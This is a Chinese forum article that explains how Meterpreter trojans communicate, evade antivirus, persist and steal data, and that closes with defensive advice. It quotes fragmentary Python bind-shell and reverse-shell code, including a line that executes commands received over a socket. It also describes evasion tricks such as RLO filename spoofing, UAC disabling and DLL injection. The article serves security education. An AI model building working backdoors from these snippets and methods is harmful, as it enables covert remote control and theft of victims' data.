Meterpreter木马技术分析与防范

isnull   ·   发表于 2019-04-14 11:37:12   ·   漏洞文章

摘要: 时至今日,别有用心的人以获取他人隐私信息乃至窃取财富为目的恶意制造木马的现象依然存在。着眼于木马传统功能机制及原理,简单阐述木马通讯、隐匿机制。从原理剖析木马欺骗运行手段以及绕过杀毒软件检测功能机制、窃取隐私功能原理。介绍木马驻留手段及影响、应用环境。最终提出安全防御木马方法的建议。
 
关键词:信息安全;木马;木马原理;Meterpreter
木马被制造的原因可能有很多:有的用木马获取用于黑色产业,有的则是商家收集个人感兴趣信息以便推送类似信息达到推广效果最后从中获利,尤其在一个几乎家家户户都有电脑的时代 。因此信息时代的博弈,首要任务是网络安全。通过尝试以木马开发者的角度出发,从传统技术中木马的通信实现、驻留功能、窃取数据功能,到新技术适合当下操作系统环境的新功能中进行解读以此拓展个人信息安全眼界,丰富安全知识,简单了解木马基础运作的原理,最终达到知其所以然的效果,从而提高信息时代的安全免疫力,营造绿色网络安全氛围。
 
一.Meterpreter木马恶意通讯手段及其危害
(一)建立常规恶意通讯手段及危害
以Meterpreter为例,选用Python监听式核心源码如下:
"bind_sock = socket.socket()"
"bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n"
"bind_sock.listen(1)\n"
"s, address = bind_sock.accept()\n"
通讯过程如图一:

以上为著名安全工具Metasploit-Framework的Python后门模板,端口作为变量,由该工具定义变量Port替换直接输出生成运作于Python解释器的木马,这里展示其中监听的方式。
由于常规木马实质是服务端为客户端提供服务,受客户端控制,因此通常以TCP连接作为通信方式的木马采用的是C/S架构。即客户端控制服务端,木马是作为服务端接受客户端的控制。此例中描述的就是服务端简单的TCP通信方式进行监听的手法。
分析可知,源码将bind_sock实例化为一个Socket套接字的变量,并且初始化为支持TCP面向连接基于IPv4的套接字。调用其绑定方法绑定“0.0.0.0”地址以表示所有IP地址,端口则是由参数Port提供,最后调用监听方法listen(1)表示监听并同一时间允许单个用户连接。当有连接请求接入时,accept方法返回客户端的最外层IP与源端口地址。由此可见,具有通信能力的木马大多基于此----使用系统调用socket进行客户端服务端的通信,绑定地址以及处理接收到的数据,从操作系统角度来说如此常规的建立通讯方式在于主流操作系统为了支持网络互联功能,通常会封装好网络相关接口,然后提供给应用调用,常见API例如Windows,方法通常封装于Kernerl32动态链接库中,而从开发者角度来说,绝大多数编程语言自己也封装了关于Socket类相关接口,例如Python中使用“import socket”,C++的“Winsock2.h”,VB中的Socket控件等等,此句便是基于Python的调用。而作为客户端--连接的发起者,从MSF中提取后得:
"sock = socket.socket()"
"sock.connect((IP,port))"
"sock.send(raw_input(“命令”))"
分析可得,sock作为socket的一个实例,调用connect方法连接目标服务器端,需要的参数IP为服务端的IP地址,Port则是临时可变的服务端提供服务的端口地址,通常一台主机端口地址由0-65535,其中,前1024端口已经注册为常用服务。例如使用80端口传输明文HTTP数据进行通信的浏览器与Web服务器架构:B/S,而443端口通常为HTTPS即加密后的HTTP协议数据,也就是HTTP+SSL方式传输,22端口通常为SSH协议,用于远程安全Shell的通信,常见于Linux作为服务器和其他平台客户端进行连接等。最终在通信角度上,木马作为服务端而客户端作为控制端建立连接,服务端则为攻击者敞开大门,置受害者电脑于被控制危险之中[[1]]。

(二)隐蔽建立恶意通讯手段及危害


隐蔽流量通信过程如图二:

其中,客户端与服务端贵的通信格式可以灵活多变,例如针对发送执行指令,客户端与服务端通信数据转字节流的格式应当一致,而服务端返回执行结果等信息时可以使用另一格式,此时客户端应当以相同格式解读字节流,甚至预置次数,按次数更改预置不同的格式,乃至于按照时间变化等,一切均可从程序开发角度灵活变化。

常规明文通讯具有规范结构易于被发现,因此,必要时该木马能自定义数据结构打包为字节流,传送接受与解析,甚至部分数据加密,以此自定义协议栈传输数据。则常见的流量分析工具失效,例如多次连任网络安全工具之首的抓包工具Wireshark、Winpcap驱动、Python的Scapy模块等等。因此木马的通讯通常较为隐蔽,一般不采用明文直接传输数据,而是在应用层自定义协议。例如HTTP协议如果使用Socket传输请求响应数据时,带有请求行/响应行和头信息等会直接泄露信息,而其中如果存在UA(User-Agent)那么攻击者结合MAC与UA能够极大发掘信息,因此,HTTP数据传输通常并不安全。如果存在恶意应用Hook浏览器的进程,得到传输中的信息,常见HTTP并不能阻止恶意应用获取Cookie,更别说用户名与登陆密码等数据[[1]]。
实际例子中,例如由DNS伪装的Meterpreter出现时,由于通常防火墙并不阻碍DNS数据包(基于UDP的域名解析服务请求),而对方只需要一台DNS服务器接收经过处理的客户端数据即可,而RFC文件中谈及,查询域名的请求包中,域名应当少于等于63个字符,因此,当加密的数据超过时,此请求包即为畸形DNS数据包,网上QQ粘虫便是一个例子,然而此例中,木马并未遵照DNS请求合理构造的条件,请求查询域名超过63个字符,因此能被发现,倘若木马开发者使用将DNS中数据按照一定方式切割排序传输,则难以发现其是伪造的DNS请求。因此具有极强隐蔽性--如此只是一个例子,对开发者而言,只要用较为新颖的方式传输数据,可能绕防火墙并且难以检测,增加检测的成本。另一方面,木马潜伏的    越长,可能泄露的信息就越多。各种协议控制的木马也层出不穷,最好的办法应当尽量在确信应用程序可靠的情况下使用。

(三)建立恶意反弹式通信的手段和危害


反弹式连接的通讯方式手法示意图三如下:


当木马宿主机处于非直接的外网环境,需要内网穿透的环境才能监听,可能被发现。而采用反弹式链接时,普通包滤防火墙一般不会拦截,本地没有监听端口,所以不易被发现例如Windows下和Linux的Netstat,可以查看开放的端口。因此,木马开发者置换了C/S的位置,将提供服务的被害者的机子作为客户,使用客户端连接开发者事先布置的服务器,而后在数据传输时,客户端会按照事先编写内容运作。例如使用系统调用,或者使用管道和应用通信等等,一旦成功建立连接,后果可想而知。
“import socket”
“sock=socket.socket()”
“sock.connect((IP,port))”
“system(sock.recv(1024))”
所以,客户端也就反过来成为了命令的执行者,执行来自服务端的命令等,而服务端则成为了命令发布者,向服务端发送各种预先设计好的指令。不但不利于用户发现,一般的防火墙对于内部主动连接请求在默认情况下不会阻止。成功渗透被害者电脑。所以可以得出,这样的通信方式比传统木马通信发起主动连接的方式更为隐蔽,使区分识别更难,也更难于从根本通信方式上识别分辨不同种类的木马[[1]]。


(四)无连接恶意通信手段和危害



由于基于连接的通信明显,实际上有的木马采用UDP方式传输数据,进行通讯,例如DNS、自定义的应用层结构等,由于UDP并未实际连接,通常采用加密的手段混淆耳目。又或者是U盘摆渡攻击,U盘木马潜伏于U盘,通过操作系统的自动加载功能,配置恶意autorun配置文件指向木马文件。当用户插上U盘,如果操作系统开启自动加载功能,操作系统将会执行木马文件,使操作系统遭受木马攻击,可能丢失隐私数据。
 

 
二.Meterpreter木马恶意入侵方法及影响

(一)木马的非法隐匿方法及影响

使木马具有获取隐私功能往往有不同的思路,而想要获取隐私通常需要先获取权限,一般为了获取权限,就要欺骗用户点击而杀毒软件不报毒,往往会将木马文件免杀处理。过去有加花指令等方法规避杀毒软件识别,欺骗用户点击。至今,免杀技术依然作为黑客市场交易的内容之一。而当下进行多种免杀方式中,印象最深则是修改程序入口点,至今依然有文件免杀能力。通常多种杀毒软件则是能通过判断程序行为方式而进行此类免杀方式的查杀,修改程序入口点的方法即是外壳程序为Payload即有效的攻击荷,创建一个函数,其中存放Payload的可以是例如16进制的C代码,调用CMD的恶意代码,当导入ctypes时python可以使用C的数据类型,最终调用此函数即可。当然,通常大量读写磁盘文件、开放端口通信、调用Windows系统下CMD时会被定义为木马,存在可能误报的情况。当然也不一定能说明免杀效果。但是在一些情况下,木马本身可以无需履行,那便是无文件入侵技术。通常的系统服务,例如Apache或是NGINX等WEB容器、MYSQL、Redis等均会提供可以连接的端口等,当此类应用存在漏洞,例如缓冲区溢出时,恶意用户会发送精心构造的恶意攻击载荷,包含攻击代码Shell code,使指令指针指向Shell code的平滑过渡等结构,当程序成功被缓冲区溢出利用时,运行中的服务就会成为黑客控制下的利器,因为此类服务通常具有较高权限,任意执行代码危害较大,通常属于比较难以触发的手法。例如永恒之蓝漏洞便是由于Samba服务存在漏洞导致的等。
不单单如此,特意构造的文件名可以使受害者被欺骗,例如1.exe作为木马程序,将名字改为1.jpg.exe。再者以工具修改其图标,欺骗受害者点击,达成隐蔽的目的[[2]]。
又如一款名为Unitrix的工具,可以对文件名进行字符重写的隐匿手法,从右至左意即为(RLO)攻击,让受害者以为这不是一个可执行文件。例如:原本名为“exe.mp4”文件会被重写为“mp4.exe”,可以欺骗受害者,骗取受害者运行经过伪装的木马的目的,比如将木马exe可执行文件伪装成图片、音频、视频、甚至是txt文件。
绕过PowerShell执行策略,PoweShell功能强大,但是执行策略可被绕过,恶意程序可能以此执行恶意指令,例如添加Power Shell用户配置文件。又或者是禁用用户执行的安全控制询问也就是UAC,通过类似FindWindwos、OpenProcess等API搜索比对杀毒软件存在的进程然后强制关闭杀毒软件等方法。最终达到完全控制受害者电脑的目的。

(二)木马非法获取控制权方法及影响


当木马成功伪装欺骗用户并得到执行之后,同时成功得到执行某些目的所必须得到的权限以后。普通目标机子的简单指令可以通过win下常见Cmd,或者被黑客喜爱的PowerShell执行。多种编译器封装的方法例如调用System让操作系统执行CMD内建外建命令。再其次,特殊的功能例如窥屏截图,控制鼠标的功能基于内核文件提供的API。例如,在Windows环境下有个名为Kernel32.dll的内核动态链接库文件 此动态链接库里包含大量的操作系统提供用来操作操作系统的函数,例如其中存在的一个导出函数名为SetcursorPos。这个函数可以使得鼠标指向以屏幕坐标轴表示的x,y上,达到移动鼠标到预定位置的目的。乃至于截屏函数GetDeviceCaps,通常这样的函数叫做API是操作系统提供给开发者的接口。在win的处理器中实模式往往不分权限等级都是ring0,而操作系统往往是保护模式,因此操作系统中会划分不同权限会话的程序以区分允许或禁止的调用。 有的木马甚至通过系统漏洞达到获取系统权限的目的,例如比如早期的Windows下的at命令,设定时间,执行的命令或程序往往在指定时间会以系统级权限执行,达到提权效果等。
此外,为了获得重要信息,木马可能在获取窗体标题后,开启相应的键盘记录器,即通过Hook实现键盘钩子,乃至全局钩子[[3]],如此一来,无论受害者输入什么样的数据,均会被记录,木马可以将之打包加密,传输给远程服务器,从而实现了窃取重要数据。又或者是访问常用目录,检查常用目录文件,将受害者经常使用的文件打包,不单单如此,还可能寻找到某些浏览器Cookie文件,如此一来,受害者的操作系统犹如案板鱼肉,也因此,受害者的计算机往往被称之为“肉鸡”。
木马功能均可以由黑客结合接口或者自身代码功底天马行空,如此产生层出不穷、各式各样的庞大的木马体系,所以,木马总会源源不断产生,千奇百怪。对于木马往往也是采取现有一类木马,才有这类木马分析,最终才得以拦截查杀。但是依然建立于先有木马后有防御手段。因此新木马的出现往往会感染一定的数量的电脑。

(三)木马恶意驻留方式及其影响


1.恶意修改注册表方式及其影响
一般木马存在例如开机自动启动自动执行,又或者是某些文件的关联启动方式,修改系统热键使得用户按下系统热键以后启动的木马文件代替原本的应用或者使进程管理器失效无法关闭木马进程等技术,以往的木马通过写入注册表或者注册为服务的办法试图达到开机自启动、文件关联,拥有系统服务的权限。注册表是Windows操作系统的类似核心数据库的重要组成,而其中写有操作系统启动要运行的服务,木马通过修改此处注册表可以实现开机自启动,比如其中文件关联,例如.jpg、.mp4、.exe、.txt等等类型的文件,每当受害者双击运行时,其实质上则是唤醒了其关联的木马文件,例如要查看文档而需要文档编辑器,但是文档编辑器可以有很多实现程序一般如Notepad++、Vim、Onenote,Word等。通过修改文件关联,实现例如打开音频文件就会打开播放器,打开图片文件就会打开图片查看器等,如此便可以使得木马启动执行的方式更加隐蔽而无需自启动影响开机速度导致被察觉。
2.以双进程方式恶意驻留及其影响
一些木马为了保证目的的运行不会被终止,想出一种暗合阴阳平衡一般的手段,那便是采用双进程的方法。即创建多个进程,同时驻留,其中可以不严格地划分为木马执行进程和守护进程。木马创建专门用于守护运行进程的任务是实时监控检查木马进程是否运行,例如通过实时获取进程列表,进程信息进行判断。当发现木马进程被关闭也就是并未在运行时,立刻启动木马的进程。于此同时,木马进程也可以进行判断守护进程是否存在,如果守护进程被关闭,也就是未得到进程运行信息时,木马程序便可以反过来创建守护进程。刚好完美实现逻辑上的悖论。如果使用常规方式直接结束木马执行进程的方法来查杀木马,将会导致双进程之间相互保护,也就无法关闭。如此一来,木马程序便成功驻留于宿主计算机上而不被关闭。
3.以DLL注入方式恶意驻留及其影响
DLL注入指木马开发者开发动态链接库DLL[[4]],DLL与正常EXE程序不同之处主要为,EXE可执行文件应当含有程序的入口,例如C当中需要MAIN函数,汇编当中需要往指令指针寄存器和代码段寄存器设置程序执行起始位置一般,然而DLL不需要程序入口函数。DLL可通过链接的方式提供其中封装完毕的方法,也就是导出函数,好处便是DLL依然是二进制文件,所以可以在一定程度上保密,许多公司商业出售的DLL便是基于此,即不泄露商业核心代码,又能对外提供调用方法。
木马程序在目标主机中选择特定目标进程,以指定该进程调用包含恶意 代码或者木马代码的DLL,最终达到随着进程执行的效果,例如早先存在   注入系统[[5]]资源进程的木马程序[[6]]。

(四)恶意利用已有服务漏洞所造成影响


Meterpreter最通常用用于无文件入侵方面。对于此类后门程序而言的流程一般为扫描目标的服务—监听的端口及其banner,也就是标志性的信息,例如HTTP传输的会有明文HTTP的ASCII码,FTP服务默认会给客户端返回包含预先设计的欢迎标语FTP版本及名称等,也就是抓取服务旗标进行匹配列表,简单鉴定服务的方法,以专门分析其服务和服务的版本。如果其版本存在已知漏洞—例如可以被缓冲区溢出编写Shellcode,加上偏移,构造为Payload发送的方法利用,使目的程序执行指令时跳向执行为恶意代码,且未作判断时,便拥有目的程序原本的权限。往往这样的程序都是系统级应用,发现的漏洞被称为系统级漏洞,往往发现以后范围影响甚广—例如之前提到的wancry利用永恒之蓝漏洞就是445端口的SMB服务出了问题。;利用方法通常按照现实情况,不同漏洞可能要精心构造Payload等。对于成功渗透后的Meterpreter而言,Meterpreter强大之处包括他的反侦察能力—它能在有漏洞服务被攻击从而指向恶意代码并执行时,改变自身的进程信息,例如运行时间等,迷惑杀毒软使其运行自如。如入无人之境—受永恒之蓝困惑的电脑并不是都没有装杀毒软件,但是任然能被无文件入侵则说明其灵活之处。
由此不难得出木马的性质的结论—无外乎是利用各种手段隐蔽在目标设备上,然后窃取感兴趣的数据。以各种手法传输数据。但也正是因为如此,在应用的方面,木马的目的和存在平台可以大致进行分类。根据木马所处不同平台以及可调用平台操作的接口不同进行划分如下:
1.操作系统层面木马
此类木马着力点在于取得操作系统层面的控制权或是信息,因此以操作系统接触较深,在Web未盛行之初,存在的操作系统便是木马主要着力对象,因此此类木马以操作系统层面为主,与操作系统接触交互更为频繁。但是想获取权限及获得执行机会需要精心布置,例如社会工程学骗受害者点击,捆绑某些软件诱惑受害者点击等等。
2.Web层面木马
Web盛行之后,渐渐出现许多web容器,数据库以及脚本语言等构架的Web服务器,例如较为流行的Mysql+PHP+Apache,其中脚本层不单单PHP,还存在JSP、ASP、Python等等,正因如此,Web木马获得了生存空间,例如以PHP为后端脚本语言的Web服务器,其实质为:PHP的执行需要PHP解释器翻译解读并由PHP解释器执行代码,并非如编译型语言经过编译链接最终成为二进制的可执行文件。如此,当黑客精心构造,刚好使得PHP解释器执行特定PHP后门脚本时,Web服务器便如敞开大门,将暴露于黑客的眼线。甚至如果操作系统权限处理不当,通过PHP解释器所拥有的权限更使得黑客可以随意玩弄Web服务器,更进一步便可以接触系统层面,以达到操作操作系统层面木马的效果,深入操作系统,也便能窃取数据,随意支配受害者的计算机[[7]]。
 
三.Meterpreter木马的防范手段

(一)通过流量发现木马

可以使用防火墙相关安全软件,由于通常家用设备使用路由器上网,流量最终IP地址等信息由路由分组转发。因此,普通家用设备对外网处于隐蔽状态,在路由并于直接暴露于外网且并未使用DMZ或者家用设备并未使用内网穿透的情况下,家用设备相对安全。但是针对反弹式木马,由于连接请求路径由内对外,防火墙通常不阻碍相关流量。因此,必要时可以利用流量抓取工具,或者是使用Scapy快速编写一套工具,分辨发起连接的类型,更可以分析是何应用使用该端口,便于分析。也结合常见的计算机提供的命令,例如Windows和Linux均存在的netstat命令。这个命令便可以检查端口开放连接区别列出使用TCP/UDP协议的端口的情况。
因此,应当实时检查本机运行的服务是否最新版本是否有漏洞、不需要对外提供服务的服务是否对外网开放了,不要点击来路不明的程序,经常备份重要数据等等,时常留意信息安全相关的新闻报道,做到有备无患,防范一般的木马威胁。通信过程中如有必要可以采用VPN进行一定程度的安全防护,对于陌生的环境,HTTP协议传输的网站如果存在例如登陆操作尽量小心避免被中间人攻击或者路由器被攻击导致敏感数据泄露。时常检查自己电脑中的通信流量是否正常,防火墙规则是否合理以及被攻击时及时取证备份证据,检查DNS服务器是否正常如此一来木马就减少了可乘之机[[8]]。
必要的时候,可以使用隔离沙盒等方式较为安全地运行程序,同时可以安装一些知名杀毒软件,使电脑较为安全,尽量不要执行不明程序,浏览不明页面。

(二)针对木马恶意行为查杀

除了已知的木马杀毒软件能查杀,当出现未知木马需要手动查杀时,可以提取出木马程序中字符串,通常未进行加密时,可以清晰察觉注册表的修改位置,复制文件的文件位置,执行过的CMD代码,以此为依据,进入安全模式或者PE等,手动排查。然而并非所有木马均有手段查杀,应此,重视数据备份显得尤为重要。


  • 木马防御手段不足
  • 迄今为止木马查杀处于一种被动手段,针对各式各样的木马绕过杀毒软件的手法依然层出不穷,且在保证其基础功能的基础上只需要免杀,往往就能死灰复燃,与之相反,杀毒软件传统拥有的特征免杀技术较为针对,有时会出现检测失误的情况。而采用机器学习自动分析木马恶意行为的方式,当前防御局势依然被动,木马制造者只需要一个漏洞就能以点破面恶意获取用户数据,而反观杀毒软件,需要面面俱到,尽可能针对各种攻击情形进行考虑处理,因此,光有杀毒软件并不能确保自己电脑的安全,用户还应该主动学习安全知识,培养安全意识,具备一定手动查杀能力,保持敏锐的感知,才能有效防护恶意攻击,保护隐私数据,避免或减少为恶意攻击者提供可乘之机。
     
    由此可见,当下信息时代,安全脉搏与每个人都息息相关,上至国家安全,下至群众隐私。每个人都有私密的数据,每个人都应当且有权利保护自己的隐私数据不被人偷窃利用。这是个人意志的觉醒,而有良好的防范意识更是十分重要,因此,个人应积极应对网络攻击,使中国成为网络安全大国,为祖国未来发展之路贡献一份力量,使群众安定、国家长治久安是每个人的责任,也离不开每个人的担当
     


    打赏我,让我更有动力~

    0 条回复   |  直到 2019-4-14 | 1648 次浏览
    登录后才可发表内容
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.